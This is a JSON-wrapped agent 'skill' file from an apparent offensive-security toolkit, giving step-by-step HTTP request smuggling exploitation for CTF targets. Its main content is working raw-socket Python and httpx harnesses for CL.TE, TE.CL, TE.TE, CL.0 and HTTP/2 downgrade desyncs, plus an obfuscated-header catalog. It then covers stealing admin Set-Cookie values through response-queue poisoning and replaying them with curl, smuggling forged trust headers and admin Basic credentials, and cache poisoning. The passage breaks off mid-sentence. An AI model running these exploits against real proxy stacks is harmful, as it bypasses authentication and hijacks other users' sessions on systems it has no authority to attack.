[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFT7Z5B8MS7VY7C713F366":3,"skill-same:01M7DFT7Z5B8MS7VY7C713F366":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":14,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M7DFT7Z5B8MS7VY7C713F366","smuggling",null,"HTTP Request Smuggling (HRS) — front-end \u002F back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP\u002F2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: smuggling\ndescription: \"HTTP Request Smuggling (HRS) — front-end \u002F back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP\u002F2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"HTTP request smuggling, HRS, request smuggling, desync, CL.TE, TE.CL, TE.TE, h2.cl, h2.te, HTTP\u002F2 downgrade, HTTP downgrade, h2c smuggling, pipelining, header folding, content-length transfer-encoding mismatch, frontend backend disagreement, multi-proxy stack, CDN frontend, reverse proxy, smuggling_desync challenge tag, hrs\"\n---\n\n# HTTP Request Smuggling (Desync)\n\nExploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN\u002Fproxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the \"smuggled\" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies\u002Fheaders, or hit auth-bypassed routes.\n\n## When This Skill Is Primary\n\nHRS bypasses authentication and authorization at the front-end\u002Fback-end boundary — it does NOT need correct credentials. **When `smuggling_desync` (or `request_smuggling` \u002F `hrs` \u002F `desync`) co-occurs with credential-related tags (`default_credentials`, `jwt`, `weak_password`), smuggling IS the primary attack vector.** Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.\n\nReasoning: a CTF that ships both tags is signaling \"you have a low-priv account (`test:test`, etc.) — use it as your session anchor and bypass the role check via parser disagreement.\" Burning the time budget on `admin:*` brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.\n\nThe same logic applies when `smuggling_desync` co-occurs with `cve` (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 \u002F pause-based desync below).\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Multi-proxy stack visible**: two `Server:` strings across responses (e.g. `cloudflare` then `gunicorn`); `Via:` header present; CDN\u002Fedge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly).\n- **Differential 400\u002F501** when sending duplicate\u002Fobfuscated `Transfer-Encoding` or `Content-Length` headers (one path 200, another 400\u002F501).\n- **HTTP\u002F2 frontend** with HTTP\u002F1.1 backend (`alt-svc: h2`, `:status` pseudo-header, `HTTP\u002F2` ALPN). Downgrades are the modern smuggling surface.\n- **Pipelining differences**: connection reused across requests with inconsistent framing.\n- **Challenge tag** includes `smuggling_desync`, `request_smuggling`, `hrs`, `desync`, or recon's \"Frontend behavior\" line says \"frontend forwards malformed framing\".\n- **Recon handoff** notes that the same payload yields different status codes when sent to different proxy hops or with different framing.\n\n## Confirm-Desync Gate\n\n**STOP**. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.\n\n```bash\ntimeout 60 python3 -u -c '\nimport socket, sys\n\nHOST, PORT = \"\u003CTARGET>\", 443  # use 80 for plain HTTP\nUSE_TLS = (PORT == 443)\n\n# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.\n# A real desync makes the back-end park \"X\" as the start of the NEXT request on this socket.\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 6\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"X\"  # the smuggled prefix\n)\nvictim = (\n    \"GET \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"\\r\\n\"\n)\n\ns = socket.create_connection((HOST, PORT), timeout=5)\nif USE_TLS:\n    import ssl\n    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)\ns.settimeout(5)\ns.sendall(smuggle.encode() + victim.encode())\n\nbuf = b\"\"\ntry:\n    while True:\n        chunk = s.recv(4096)\n        if not chunk:\n            break\n        buf += chunk\n        if len(buf) > 16384:\n            break\nexcept socket.timeout:\n    pass\nfinally:\n    s.close()\n\n# Desync signal: victim request fails with 400\u002F405 because \"XGET\" landed at backend.\n# Baseline GET \u002F on the same target returns 200 — so 400\u002F405 here is the smoke.\nsys.stdout.write(buf[:2048].decode(errors=\"replace\"))\nsys.stdout.flush()\n' 2>&1 | tee smuggle_gate.txt\n```\n\n**Pass criteria** (any one):\n- Second response shows `400 Bad Request` containing `XGET` \u002F `Invalid method` \u002F `bad request line`.\n- Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).\n- Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.\n\nIf gate FAILS (no pass criteria met before the harness's outer `timeout` fires): do NOT iterate variants. Hand back to recon with \"no desync confirmed despite differential parsing — multi-proxy stack may not exist on this path\".\n\nIf gate PASSES: continue to the variant catalog with the same connection-pinning style.\n\n## Variant Catalog\n\nEach variant is a single in-file Python harness. Always:\n- `sock.settimeout(\u003Cbounded>)` BEFORE `connect` AND before each `recv`.\n- Outer wall: `timeout \u003Cbounded> python3 -u -c '...'` (the gate may need a longer wall than per-variant iteration).\n- `python3 -u` for line-buffered stdout (or `sys.stdout.flush()`).\n- Bounded `recv` loop (max ~16 KB or break on empty).\n- ONE socket per variant; close it in `finally`.\n\n### CL.TE (front=CL, back=TE)\n\nFront-end honors `Content-Length`, back-end honors `Transfer-Encoding: chunked`. Smuggle the prefix in the chunked body's terminating `0\\r\\n\\r\\n` overflow.\n\n```python\n# timeout 30 python3 -u -c '...'\nimport socket, ssl\nHOST, PORT, USE_TLS = \"\u003CTARGET>\", 443, True\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 13\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"GPOST \u002F HTTP\u002F1.1\\r\\n\"\n)\ns = socket.create_connection((HOST, PORT), timeout=5)\nif USE_TLS:\n    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)\ns.settimeout(5)\ns.sendall(req.encode())\nprint(s.recv(4096).decode(errors=\"replace\"))\ns.close()\n```\n\n### TE.CL (front=TE, back=CL)\n\nFront-end uses chunked, back-end uses `Content-Length`. The chunked size declaration smuggles past the back-end's CL boundary.\n\n```python\nbody_smuggled = \"GET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\nchunk_size = format(len(body_smuggled), \"x\")\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    f\"Content-Length: {len(chunk_size) + 2 + 2}\\r\\n\"  # only the chunk-size line + CRLF + 0\\r\\n\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    f\"{chunk_size}\\r\\n\"\n    f\"{body_smuggled}\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n)\n```\n\n### TE.TE — Header Obfuscation Catalog\n\nBoth proxies process `Transfer-Encoding`, but only one is fooled by an obfuscated header. Send TWO `TE` headers; if one parser accepts one and rejects the other, you get desync.\n\n| Obfuscation | Example header line |\n|-------------|--------------------|\n| Duplicate header | `Transfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked` |\n| Space prefix | ` Transfer-Encoding: chunked` (leading SP) |\n| Tab prefix | `\\tTransfer-Encoding: chunked` |\n| Mixed case | `Transfer-encoding: ChUnKeD` |\n| Trailing whitespace | `Transfer-Encoding : chunked` (SP before colon) |\n| Header folding (obsolete) | `Transfer-Encoding:\\r\\n chunked` (continuation line) |\n| Bogus value + valid | `Transfer-Encoding: cow\\r\\nTransfer-Encoding: chunked` |\n| Vertical tab | `Transfer-Encoding:\\x0bchunked` |\n\n```python\n# Example: duplicate-header TE.TE\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 4\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"Transfer-Encoding: cow\\r\\n\"   # second TE confuses one of the two parsers\n    \"\\r\\n\"\n    \"5c\\r\\nGPOST \u002F HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n)\n```\n\n### CL.0\n\nBack-end ignores `Content-Length` on certain methods\u002Fpaths (treats them as `CL: 0`). Front-end forwards the body, back-end parses it as the next request. Common against static-asset paths or `OPTIONS` handlers.\n\n```python\nreq = (\n    \"POST \u002Fstatic\u002Ffoo.css HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 38\\r\\n\"\n    \"\\r\\n\"\n    \"GET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\n)\n```\n\n### HTTP\u002F2 Downgrade (h2.cl, h2.te)\n\nFront-end speaks HTTP\u002F2, back-end speaks HTTP\u002F1.1. The h2→h1 downgrader translates pseudo-headers and may forward `:method`, `:path`, and arbitrary header bytes (including CR\u002FLF) into a back-end request line. Two flavors:\n\n- **h2.cl** — h2 request carries an explicit `content-length` longer\u002Fshorter than the data frame; downgrader forwards the declared CL, back-end mis-frames.\n- **h2.te** — h2 request carries `transfer-encoding: chunked`; some downgraders forward the header verbatim, the back-end then chunks while the front-end already CL-framed.\n\nUse a real h2 client (`hyper`, `h2`, `httpx[http2]`) — raw sockets are too painful here. Keep the same timeout discipline.\n\n```python\n# pip install httpx h2\nimport httpx\nclient = httpx.Client(http2=True, timeout=5.0, verify=True)\n\n# h2.te smuggle attempt\nr = client.post(\n    \"https:\u002F\u002F\u003CTARGET>\u002F\",\n    headers={\"transfer-encoding\": \"chunked\"},\n    content=b\"0\\r\\n\\r\\nSMUGGLED PREFIX\",\n)\nprint(r.status_code, r.headers.get(\"server\"), r.text[:300])\n```\n\n### CR\u002FLF Injection in HTTP\u002F2 Pseudo-Headers\n\nIf the downgrader does not strip CR\u002FLF inside `:path` or other pseudo-header values, you can inject a full second request:\n\n```python\nr = client.get(\n    \"https:\u002F\u002F\u003CTARGET>\u002F\",\n    headers={\":path\": \"\u002Fx\\r\\nHost: evil\\r\\n\\r\\nGET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"},\n)\n```\n\nMost h2 client libraries refuse to send CR\u002FLF in pseudo-headers — you may need to monkeypatch the validator or drop to a low-level frame builder (`hyperframe`).\n\n### Pipelining\n\nWhen a connection is keep-alive and the front-end forwards multiple requests on it, classic CL\u002FTE confusion smuggles the SECOND request on the wire. The gate above is already a pipelining probe.\n\n### Connection-State Pinning\n\nSome intermediaries pin the (frontend → backend) socket per first-Host-header. Smuggling a `Host: internal` prefix can rewrite which back-end vhost subsequent victim requests reach. Test by smuggling `Host: admin.\u003Ctarget>` and checking whether subsequent baseline requests now route there.\n\n### Triple-tier (3+ proxy) desync matrix\n\nProduction stacks rarely have just front\u002Fback. Typical chains: `CDN → WAF → LB → origin`, `MITM\u002Fobservability proxy → reverse-proxy → app-server → app`, `cloud LB → ingress → service mesh → pod`. With N proxies in series there are N-1 hop boundaries, and **every hop boundary is a potential desync point** with its own parser-pair semantics. A payload that \"doesn't work\" on the outermost pair may smuggle perfectly across an inner pair.\n\n**Enumerate the chain first.** Tier identification is recon: response headers (`Via:`, `Server:`, `X-Forwarded-*`, `X-Cache:`, `X-Proxy-*`, repeated\u002Fduplicated values), behavioral fingerprints (which tier returns 4xx on which malformed input), timing (each hop adds latency), and source-disclosure paths in the engagement. Map the chain top-down before crafting payloads:\n\n| Step | Probe | What you learn |\n|------|-------|----------------|\n| 1 | `curl -sv \u003CTARGET>\u002F` 2>&1 \\| grep -iE '^(server\\|via\\|x-)' | First-line tier (front-most CDN\u002FWAF\u002FMITM banner) |\n| 2 | Send a known-bad path → which tier 4xx's | Each tier's error fingerprint (HTML template, 4xx code shape) |\n| 3 | Send oversized header → which tier truncates \u002F 431s | Buffer limits per tier (helps frame payload size) |\n| 4 | Send malformed TE \u002F duplicate-CL → which tier errors WITH WHICH BODY | Reveals the parser strictness of EACH tier independently |\n| 5 | Send `OPTIONS *` → who answers | Reveals the back-most tier that responds, vs intermediates that proxy |\n\nOnce you have N tiers, enumerate the N-1 desync targets:\n\n```\nT1 → T2 → T3 → T4 (origin)\n^^^^^^^^   = pair AB: CL.TE \u002F TE.CL \u002F TE.TE matrix\n     ^^^^^^^^   = pair BC: same matrix, different parsers\n          ^^^^^^^^   = pair CD: same matrix, often differs again\n```\n\n**Probing each hop-boundary** — the same per-variant Python harness works, but you target a specific pair by exploiting that pair's parser asymmetry. Practical guidance:\n\n1. **Start with the back-most pair you can prove was reached** (e.g. pair CD origin-adjacent). If you can smuggle to origin, you bypass every tier above without needing front-pair desync. Probe: smuggle a request whose response body is *visibly different from what the outer tiers would emit* (an internal vhost banner, an internal-only path served by origin). If the smuggled response surfaces, that pair desyncs.\n\n2. **If origin-adjacent pair is locked** (modern app servers like nginx + apache often refuse CL+TE outright), walk OUTWARD one pair at a time. Each pair retains its own parser quirks regardless of upstream\u002Fdownstream rigor — a strict origin can sit behind a tolerant MITM tier that desyncs the LB↔app boundary.\n\n3. **Probe-pair-isolation trick**: send the same payload over a fresh TCP connection vs an existing keep-alive connection. If the keep-alive run yields a different response on the *second* request, the desync poisoned the back-end socket — that confirms an inner pair desyncs (the outer pair faithfully forwarded). New TCP shows the OUTER pair's behavior; reused connection shows the INNER pair behavior.\n\n4. **`Via` header inversion**: if responses contain `Via: \u003Ctier-A>, \u003Ctier-B>` (typical of CDN+LB), smuggling that successfully bypasses tier-A will produce responses with `Via: \u003Ctier-B>` only (because tier-A never saw the smuggled inner request). Use the SHAPE of the `Via:` chain on a smuggled response vs a baseline response to confirm which pair was crossed.\n\n5. **Triple-tier `Host` smuggle** (the common-stack admin-vhost win): when the chain is `MITM → LB(host-routing) → origin(vhost)` and LB chooses backend by `Host:` header, smuggling a fresh `Host: internal-admin.\u003Ctarget>` line in the inner request makes the LB route to an internal vhost the outer client could never reach. The two desync pairs you can use:\n   - **Outer-pair desync** (MITM↔LB): inject the inner request past MITM so LB sees a new request with the attacker's `Host:`. Pair AB matrix from above.\n   - **Inner-pair desync** (LB↔origin): keep MITM and LB in sync but desync at LB↔origin so origin processes a smuggled request with a different `Host:` than LB used for routing. Less common; signature is \"LB-side ACL passed but origin served a different vhost's content.\"\n\n**Anti-pattern**: assuming the chain is 2-tier and iterating CL.TE \u002F TE.CL endlessly against the outer pair when the desync surface is actually 2 hops inward. If 8+ outer-pair variants produce no response divergence, the outer pair is rigid — STOP and shift focus inward via the probe ladder above.\n\n**Generality**: applies whenever you can identify ≥3 hops via `Via`\u002F`Server`\u002F`X-*` chain inspection. The matrix scales: a 4-tier stack has 3 desync targets, a 5-tier stack has 4. The cost per additional pair to probe is small (one round of the CL.TE\u002FTE.CL\u002FTE.TE matrix) — far cheaper than iterating one pair indefinitely.\n\n## Tooling Note\n\n`smuggler.py` (defparam\u002Fsmuggler) is **NOT installed** in the sandbox. Do not invoke it. Write the in-file Python harnesses above instead. `httpx[http2]` is available for h2 work.\n\n## Anti-Patterns (Do NOT)\n\n- **No `python3 detector.py > out.txt 2>&1` without `&` AND inner `socket.settimeout(\u003Cbounded>)`** — bash without timeout + missing socket timeout = guaranteed wedge.\n- **No bash `&` to background long detectors** — backgrounded jobs detach from the tool's stdout\u002Ftimeout, you cannot tell whether they wedged or finished.\n- **Use `timeout \u003Cbounded> python3 -u -c '...'`** for any raw-socket harness. Outer wall is mandatory even when inner socket timeouts are set.\n- **Do not iterate variants before the confirm-desync gate fires positive.** Iterating without confirmation burns the entire dispatch on payloads that cannot work.\n- **Kill detectors when no observable progress is being produced.** A live desync confirms in a small number of round-trips; if the gate did not fire after the configured budget, the path is not smuggleable.\n- **Do not use unbounded `recv()` loops** — break on empty bytes OR `>16 KB` accumulated, whichever is first.\n- **Do not write `python3 -c \"...\"` without `-u`** when you want streaming logs.\n\n## Class A vs Class B — Routing Decision Tree\n\nAfter confirm-desync gate fires positive, smuggling exploits split into two classes by the source of privileged bytes:\n\n| Class | Source of admin bytes | Detection probe (run FIRST) | Win pattern |\n|-------|----------------------|----------------------------|-------------|\n| **A** — Response queue poisoning (admin-bot) | Concurrent admin user\u002Fbot browsing the target | 5× smuggle `GET \u002Fadmin*` over 30s. If ANY response carries an admin-context `Set-Cookie:` or admin HTML body → **Class A** | Capture admin Set-Cookie, replay with `curl -b`. See \"Class A — Response Queue Poisoning\" below. |\n| **B** — No-bot (header trust \u002F cache poisoning \u002F inherited auth) | Outer request's own auth state, OR back-end's trust of front-end-injected headers, OR shared cache | After 5× probes return only public\u002Flogin content → **Class B**. Stop polling for an admin bot. | Manipulate the smuggled inner request's headers\u002Fpath so the back-end treats it as privileged. See \"Class B\" below. |\n\n**Class B is the more common pattern in CTF design** because it is deterministic — it does not require a concurrent admin browsing session. If `poll_admin.py` (or any `\u002Fadmin` poll loop) returns no admin Set-Cookie across a small batch of probes, **STOP polling and pivot to Class B**. Continuing to poll for an admin bot that never arrives is the canonical mis-allocation in this attack class.\n\n## Class A — Response Queue Poisoning (admin-bot)\n\n(Formerly \"Session Hijack via Response Queue Poisoning\" — same chapter, retitled to fit Class A\u002FB routing.)\n\n> **ANTI-PATTERN: DO NOT brute-force admin credentials when this tag is present.** When smuggling and a credentials-related tag co-occur, the design intent is \"use the smuggle as the auth bypass\", not \"guess the admin password\". An admin-context `Set-Cookie:` returned on a smuggled `\u002Fadmin*` request IS the win — it is easy to miss because it looks like nothing more than a 200 with a session cookie. Brute-force is a fallback ONLY after the confirm-desync gate has fired NEGATIVE. The PRIMARY path is: smuggle → capture `Set-Cookie:` → `curl -b \"\u003Ccookie>\" $TARGET\u002Fadmin_panel` → grep flag.\n\n**Trigger:** confirm-desync gate has fired positive (a real desync exists), AND your smuggled `GET \u002Fadmin_panel` (or any auth-required path) came back `200 OK` with a NEW `Set-Cookie: session=...`. **That cookie is admin-context.** The backend processed the smuggled request as a privileged user (or as no-user), the response was queued, and the next response on the connection landed YOUR cookies on a different request — but the response your client sees may include the admin Set-Cookie that the backend issued for the smuggled prefix.\n\nThis pattern is more common than reflected `\u002Fecho` cookie theft. It looks like nothing — just a 200 with a session cookie — which is exactly why agents miss it and pivot to brute-force instead.\n\n### Detection: every smuggle response with Set-Cookie is a candidate\n\n```bash\n# After confirm-desync gate fires positive, capture EVERY response header on smuggled requests:\ntimeout 30 python3 -u -c '\nimport socket, ssl, sys, re\nHOST, PORT = \"\u003CTARGET>\", 80\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 70\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"X-Ignore: XX\"\n)\nvictim = \"GET \u002F HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\ns = socket.create_connection((HOST, PORT), timeout=5); s.settimeout(5)\ns.sendall(smuggle.encode() + victim.encode())\nbuf = b\"\"\ntry:\n    while True:\n        c = s.recv(4096)\n        if not c or len(buf) > 32768: break\n        buf += c\nexcept socket.timeout: pass\nfinally: s.close()\nsys.stdout.write(buf.decode(errors=\"replace\"))\n' 2>&1 | tee smuggle_admin_setcookie.txt\n\n# Extract every Set-Cookie value:\ngrep -i \"^Set-Cookie:\" smuggle_admin_setcookie.txt\n```\n\n### Exploitation: replay each captured Set-Cookie against the protected endpoint\n\n```bash\n# For each Set-Cookie value extracted above, try it against the target:\nfor cookie in $(grep -i \"^Set-Cookie:\" smuggle_admin_setcookie.txt | sed 's\u002FSet-Cookie: \u002F\u002F;s\u002F;.*\u002F\u002F'); do\n    echo \"=== Trying $cookie ===\"\n    curl -s -b \"$cookie\" \"$TARGET\u002Fadmin_panel\" | grep -E \"FLAG\\{|admin|\u003Ctitle>\" | head -5\n    curl -s -b \"$cookie\" \"$TARGET\u002Fflag\" 2>\u002Fdev\u002Fnull\ndone\n```\n\n### Win condition\n\nA smuggled `Set-Cookie` that, when replayed via `curl -b`, gives you a different page than the unauthenticated baseline (e.g. admin dashboard instead of login redirect, or the flag itself) IS the exploit. **Repro the smuggle three times** to rule out coincidence (per the verification rule above) — if the same admin Set-Cookie comes back across multiple smuggle attempts, it is reliably exploitable.\n\n### Why this beats brute-force on `default_credentials + smuggling_desync` challenges\n\nWhen BOTH tags appear, the challenge is almost never \"brute-force the admin password\". Default-credentials is a hint that ONE low-priv account exists (`test:test` here) — it gives you a session to compare against the smuggled session. Smuggling is the actual privilege-escalation primitive. Burning the time budget on `admin:*` brute-force misses the design entirely. **Default rule: if `smuggling_desync` is present, the parser-disagreement attack IS the primary path; credentials brute-force is at most a 5-minute fallback after the smuggling gate has fired NEGATIVE.**\n\n## Class B — No-Bot Smuggling Patterns\n\nWhen there is no admin user browsing concurrently, the privileged bytes must come from one of three sources. Try each in order; each is a 5-minute time-box.\n\n### B1 — Outer-Request Cookie\u002FHeader Inheritance\n\nThe simplest attack when you already have a low-priv session (e.g. `test:test` from `default_credentials`). Send the smuggle on a connection that ALSO sends the outer request with your low-priv cookie. The back-end may concatenate connection state — your session cookie attaches to the smuggled inner request, and the back-end treats the inner `GET \u002Fadmin_panel` as if it came from your authenticated session. Effective when the role check is on a header the front-end injects (`X-User`, `X-Forwarded-User`) rather than the cookie value.\n\n```python\n# Outer request carries your low-priv session; smuggled inner inherits it\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Cookie: session=\u003CYOUR_TEST_SESSION>\\r\\n\"   # outer auth\n    \"Content-Length: 80\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Cookie: session=\u003CYOUR_TEST_SESSION>\\r\\n\"   # repeat inside the inner — may be picked up\n    \"X-Ignore: X\"\n)\n# Send + read 2 responses (outer 405\u002F200 + inner)\n```\n\n### B2 — Front-End Trust Header Injection (the most common Class B win)\n\nMany proxies (mitmproxy, nginx, Apache, HAProxy) strip client-supplied `X-Forwarded-*` \u002F `X-User` \u002F `X-Remote-User` \u002F `X-Real-IP` headers and re-inject their own. The back-end then TRUSTS those headers as authoritative. If you can smuggle an inner request that bypasses the strip (because the front-end already forwarded the outer) and the back-end reads them, you become whoever you claim.\n\n```python\n# Smuggle an inner request with explicit trust headers — front-end never sees them, back-end honors them\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 130\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"X-Forwarded-User: admin\\r\\n\"\n    \"X-Remote-User: admin\\r\\n\"\n    \"X-Forwarded-For: 127.0.0.1\\r\\n\"\n    \"X-Real-IP: 127.0.0.1\\r\\n\"\n    \"X-User: admin\\r\\n\"\n    \"Authorization: Basic YWRtaW46YWRtaW4=\\r\\n\"   # admin:admin (Basic auth — back-end may accept)\n    \"X-Ignore: X\"\n)\n# Read ≥2 responses; second response body should contain admin content if any header is trusted\n```\n\nThe challenge designer's intent is usually one specific header. Try the catalog above in batches of 3 per smuggle attempt to keep the inner request small enough that CL framing still works. If `Authorization:` flips the response, the back-end re-validates Basic auth and your inner is bypassing the front-end's session-only check.\n\n### B3 — Cache Poisoning via Smuggled Admin Response\n\nFront-end has a shared response cache keyed by URL+headers. Smuggle an inner request whose response (if it were authenticated as admin) would be served — get the cache to store the admin response under a public URL key. Then any unauthenticated client visiting the public URL gets the cached admin response.\n\n```python\n# Step 1: smuggle an inner GET \u002Fadmin_panel with a Cache-Control hint\n# Step 2: from a different connection, GET \u002F (or the public path the cache keys on)\n# If the public response now contains admin HTML — cache poisoning won, the flag is in the cached body\n```\n\nDetection signal: after smuggle, hit a normally-public path (e.g. `\u002F`, `\u002Flogin`, `\u002Fstatic\u002Findex.html`) WITHOUT a session cookie. If response size or content is anomalous (e.g. has an admin nav bar, a session cookie, or admin-only HTML), the cache was poisoned.\n\n### Class B verification\n\nFor Classes B1\u002FB2\u002FB3, the success signal is: **the back-end response body for `\u002Fadmin_panel` (or whatever the protected path is) is returned to YOU on the same connection where you sent the outer POST**, with admin-only content (admin nav, user list, settings page, the flag itself). Reading the SECOND response on the smuggle socket is critical — the FIRST response is the outer POST's 405\u002F200 from the front-end; the SECOND is the back-end's response to the smuggled inner.\n\n```python\n# Read both responses — capture both\nbuf = b\"\"\nresponses_seen = 0\ntry:\n    while responses_seen \u003C 2:\n        c = s.recv(4096)\n        if not c: break\n        buf += c\n        # naive double-response detection: count \"HTTP\u002F1.1 \" occurrences\n        responses_seen = buf.count(b\"HTTP\u002F1.\")\n        if len(buf) > 32768: break\nexcept socket.timeout: pass\n# split on \"HTTP\u002F1.\" boundary; index 1 is the inner-request response; check for \"admin\", \"FLAG{\", or unique admin-page strings\n```\n\n## Class C — Reflected Internal Diagnostics \u002F Response-Desync Pivot\n\nA separate pattern from Class A (admin-cookie theft) and Class B (no-bot\nhijack): the application exposes an **authenticated diagnostic \u002F settings\nendpoint that itself performs an internal HTTP request through the proxy\nstack and reflects the verbose backend response back to the caller**.\nThe win is not to steal admin — it is to make that internal diagnostic\nrequest reach a privileged internal route (status, debug, internal API,\nflag service) and to read the flag out of the reflected response.\n\nThis shows up wherever a frontend exposes \"test the upstream\" \u002F \"fetch\nstatus\" \u002F \"settings preview\" features, including router admin panels,\nservice-mesh dashboards, internal CI\u002Fobservability UIs, and any\nmicroservice that proxies a backend on behalf of the user.\n\n**Recognition signals (any 2+):**\n\n- Authenticated request triggers a backend fetch the response body or an\n  error modal echoes verbose (`-v`-style) — headers, body, target host,\n  status line.\n- Echoed output names internal vhosts\u002Fservices not exposed externally\n  (`Via:`, `X-Forwarded-Host`, `Server:`, internal hostnames).\n- Network-visible enumeration suggests internal status\u002Fdebug\u002Fflag routes\n  on the proxied backend (status pages, health endpoints, debug\n  consoles, internal admin APIs).\n- The challenge ships a low-privilege account and a settings\u002Fdiagnostic\n  page rather than (or alongside) a classic admin login.\n- `smuggling_desync` co-occurs with credentials\u002Fauth-bypass tags pointing\n  at the proxied backend rather than the public frontend.\n\n**Deterministic workflow (time-box ~8 minutes):**\n\n1. Authenticate with whichever low-privilege account the challenge\n   exposes; save the cookie.\n2. Hit the diagnostic\u002Fsettings endpoint once with that cookie and capture\n   the reflected response. Confirm: which internal host\u002Fvhost is being\n   contacted, what baseline path\u002Fheaders are in use, what is being\n   echoed back.\n3. From the reflected output and any other network-visible clues\n   (page comments, JS, `robots.txt`, error text, enumerable status\n   endpoints), assemble a small candidate list of internal routes worth\n   pivoting to (status \u002F health \u002F debug \u002F internal admin \u002F direct\n   flag-fetch endpoints). Do **not** hardcode a single guess.\n4. Send bounded raw-socket smuggle variants targeting the diagnostic\n   request path\u002Fresponse, not the public admin page. Hard wall every\n   harness: `timeout 30`, `sock.settimeout(5)`, bounded `recv` loop.\n   Success signal: 